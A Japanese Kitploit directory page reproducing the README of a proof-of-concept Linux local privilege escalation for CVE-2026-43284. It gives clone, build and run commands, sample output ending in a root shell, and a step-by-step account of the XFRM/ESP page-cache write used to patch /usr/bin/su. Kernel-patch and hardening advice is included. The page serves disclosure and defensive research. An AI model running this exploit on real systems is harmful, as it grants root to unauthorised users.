Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-43284-DirtyFrag-PoC — CVE-2026-43284 の概念実証 — setuid バイナリにパッチを適用するための 4 バイト XFRM/ESP ページキャッシュ書き込みプリミティブ (x86_64, user namespaces)。カーネルプリフライト + SUID スキャンを含む。 | Kitploit
ツール/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

CVE-2026-43284 の概念実証 — setuid バイナリにパッチを適用するための 4 バイト XFRM/ESP ページキャッシュ書き込みプリミティブ (x86_64, user namespaces)。カーネルプリフライト + SUID スキャンを含む。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
121ヶ月前未レビュー

CVE-2026-43284 — 4バイト XFRM/ESP

CVE Platform Type Status

概念実証 — XFRM/ESP ページキャッシュ破壊によるローカル権限昇格
4バイト書き込みプリミティブ · 48回の反復 · 192バイト ELF 上書き · 非特権ユーザー + ネット名前空間


概念実証

WSL2 Ubuntu 24.04 における事前チェックとエクスプロイトフェーズ 成功したルートシェルと uid=0 の確認

左: カーネル事前チェック、setuid スキャン、エクスプロイトチェーン  ·  右: ルートシェル起動 — id / whoami で uid=0(root) 確認
テスト環境: WSL2 · Ubuntu 24.04.1 LTS · カーネル 6.6.87.2-microsoft-standard-WSL2


root@kitploit:~
  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

免責事項: 許可されたセキュリティ研究、教育、および自分が所有するシステムまたは明示的な許可を得たシステムでのテストのみを目的としています。作者は誤用に対して責任を負いません。


概要

algif_aead がブラックリストに登録されていても動作します — エクスプロイトはカーネル XFRM/ESP コードパスを直接使用します。


機能

エクスプロイト実行前の組み込み事前チェック:

  1. カーネル設定 — CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP を確認
    (/boot/config-*、/lib/modules/*/config、または WSL2 では /proc/config.gz を読み取る)
  2. Setuid スキャン — システム上の SUID バイナリを一覧表示 (find / -perm -4000)
  3. エクスプロイト — ページキャッシュをパッチし、PTY 経由でルートシェルを起動し、終了時にターゲットを復元

必要条件

カーネルオプション

root@kitploit:~
CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # または =y

簡易確認:

root@kitploit:~
# ベアメタル / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

その他

  • CVE-2026-43284 の影響を受ける 脆弱な Linux カーネル (「パッチ状況」を参照)
  • gcc、libc、libutil (forkpty 用)
  • 読み取り可能な setuid ターゲットバイナリ (デフォルト: /usr/bin/su)

ビルド

root@kitploit:~
git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

または手動で:

root@kitploit:~
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 は意図的です — 最適化によりタイミングに敏感な splice/UDP 動作が壊れる可能性があります。


使用方法

1. 自分が非特権ユーザーであることを確認

root@kitploit:~
id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. エクスプロイトを実行

root@kitploit:~
./sley-dirtyfrag                  # デフォルトターゲット: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # カスタム setuid バイナリ

ツールは3つの自動フェーズを実行します:

フェーズ説明

3. ルートアクセスを確認

起動したシェル内で:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. 終了して復元

Ctrl+D を押すか、exit と入力します。PoC はページキャッシュをドロップするため、元のディスク上のバイナリが自動的に復元されます。

復元に失敗した場合:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches

コマンドリファレンス

コマンド説明

出力例

root@kitploit:~
┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (必要 =y)
  [+] CONFIG_XFRM           = y  (必要 =y)
  [+] CONFIG_INET_ESP       = m  (必要 =m または =y)
  カーネルオプション OK。

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← ターゲット
  14個のsetuidバイナリが見つかりました。

┌─[ phase 3] exploit
  [*] unshare userns+netns, 48個のXFRM SAを登録, splice→UDP 4500...
  [+] corrupt               全反復完了
  [+] verify                ELFパッチ検出

  ╔══════════════════════════════════════╗
  ║  ルートシェル — 終了で復元           ║
  ╚══════════════════════════════════════╝

緩和策

カーネルパッチの適用 (推奨)

修正コミットf4c50a4034e6 (mainline, 2026年5月8日)
導入コミットcac2661c53f3 (2017年1月)

対応: 修正を含むディストリビューションカーネルにアップグレードするか、パッチ済み mainline ツリーからビルドしてください。

root@kitploit:~
# 実行中のカーネルを確認
uname -r

# 修正が含まれているか確認 (例 — ディストリのパッケージ名に合わせて調整)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

強化オプション (多層防御)

非特権ユーザー名前空間の制限

このエクスプロイトは root 権限なしでの unshare(CLONE_NEWUSER | CLONE_NEWNET) に依存します。

root@kitploit:~
# 実行時 (すべてのカーネルに存在するとは限りません)
sysctl kernel.unprivileged_userns_clone=0

# またはビルド時に無効化
# CONFIG_USER_NS is not set

注: ユーザー名前空間を無効にするとこの PoC はブロックされますが、必ずしも CVE-2026-43500 (userns がないシステム向け rxrpc バリアント) をブロックするわけではありません。

setuid バイナリの監査

root@kitploit:~
find / -perm -4000 -type f 2>/dev/null
# 不要なバイナリは削除または強化

侵害が疑われる場合のキャッシュドロップ

setuid バイナリがメモリ内でパッチされたと疑われる場合:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# パッケージマネージャーや既知のハッシュからバイナリの整合性を再確認

動作原理

  1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — 分離されたユーザー/ネットワーク名前空間 (root 不要)。
  2. 48個のXFRMセキュリティアソシエーションを登録 — シェルコードバイトを ESN seq_hi にエンコード (SA あたり4バイト)。
  3. UDPポート4500経由でトリガー (UDP_ENCAP_ESPINUDP):
    • splice() がターゲットファイルをパイプに読み込む
    • splice() がデータをパイプから UDP ソケットに移動
    • ページキャッシュページが skip_cow パスを経由して ESP スキャッターギャザーリストに入る
    • authencesn スキャッターウォークが assoclen + cryptlen の位置に seq_hi を書き込む
  4. HMAC は失敗 — しかしページキャッシュへの書き込みは持続する。
  5. パッチされた setuid バイナリを実行 — 最小限の ELF が setuid(0) / setgid(0) / execve("/bin/sh") を実行。

テスト済み環境

環境カーネル
WSL2 Ubuntu 24.04.1 LTS6.6.87.2-microsoft-standard-WSL2
Ubuntu 24.04脆弱なビルド
Fedora 44脆弱なビルド

関連研究

  • CVE-2026-43500 — ユーザー名前空間がないシステム向け rxrpc バリアント; /etc/passwd を8バイト pcbc(fcrypt) ブルートフォースプリミティブで標的とする。このリポジトリには含まれていません。

ファイル


ライセンス

研究および教育目的で現状のまま提供されます。責任を持って使用してください。


作者

SLEY — CVE-2026-43284 dirtyfrag PoC

この研究が役立った場合は、リポジトリにスターを付けることを検討してください。

ツールをダウンロード
CVECVE-2026-43284
タイプローカル権限昇格 (LPE)
ベクターXFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) ページキャッシュ破壊
プリミティブ1回の反復につき4バイト (ESN seq_hi)
ペイロード192バイト x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh"))
デフォルトターゲット/usr/bin/su
アーキテクチャx86_64 のみ
必要特権非特権ユーザー (ユーザー名前空間 + ネットワーク名前空間を使用)
1
カーネル設定の事前チェック (CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP)
2システム全体の setuid バイナリスキャン; デフォルトターゲットを強調表示
3ターゲットのバックアップ → ページキャッシュのパッチ (48回の4バイト書き込み) → ルートシェルの起動
./sley-dirtyfrag
/usr/bin/su をエクスプロイト (デフォルト)
./sley-dirtyfrag /path/to/suidカスタム setuid バイナリをエクスプロイト
makesley-dirtyfrag をビルド
make cleanバイナリを削除
対策効果
カーネルのパッチ / アップグレード根本的なページキャッシュ書き込みバグを排除
ユーザー名前空間の制限この PoC をブロック (CONFIG_USER_NS が必要)
不要な setuid バイナリの削除実行可能なターゲットを減らす (chmod u-s またはアンインストール)
Lockdown / LSM (SELinux, AppArmor)ポリシーに応じてエクスプロイト後の影響を制限する可能性あり
XFRM + UDP/4500 の監視非特権名前空間からの異常な SA 登録や ESP-in-UDP トラフィックを検出
  • シェル終了時 — ページキャッシュをドロップ (posix_fadvise) してカーネルがディスクからクリーンなファイルを再読み込み。
  • ファイル説明
    sley-dirtyfrag.cエクスプロイトソース
    Makefileビルドヘルパー
    proof-of-concept-1.jpgPoC スクリーンショット — 事前チェック + エクスプロイト
    proof-of-concept-2.jpgPoC スクリーンショット — ルートシェル確認
    README.mdこのファイル